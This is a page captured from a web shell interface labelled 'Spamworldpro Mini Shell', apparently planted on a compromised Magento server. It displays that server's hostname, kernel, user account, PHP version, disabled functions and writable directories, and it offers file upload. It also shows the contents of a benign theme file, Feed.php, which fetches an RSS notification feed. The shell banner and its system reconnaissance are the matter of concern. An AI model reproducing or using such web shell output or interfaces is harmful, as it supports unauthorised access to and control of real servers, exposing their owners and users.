Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/cartforge.co/app/code/Smartwave/Core/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/cartforge.co/app/code/Smartwave/Core/Model/Feed.php
<?php

namespace Smartwave\Core\Model;

class Feed extends \Magento\AdminNotification\Model\Feed
{
    const SMARTWAVE_FEED_URL = 'www.portotheme.com/envato/porto2_notifications.rss';

    public function getFeedUrl()
    {
        $httpPath = $this->_backendConfig->isSetFlag(self::XML_USE_HTTPS_PATH) ? 'https://' : 'http://';
        if ($this->_feedUrl === null) {
            $this->_feedUrl = $httpPath . self::SMARTWAVE_FEED_URL;
        }
        return $this->_feedUrl;
    }

    public function getLastUpdate()
    {
        return $this->_cacheManager->load('smartwave_notifications_lastcheck');
    }

    public function setLastUpdate()
    {
        $this->_cacheManager->save(time(), 'smartwave_notifications_lastcheck');
        return $this;
    }

}

Spamworldpro Mini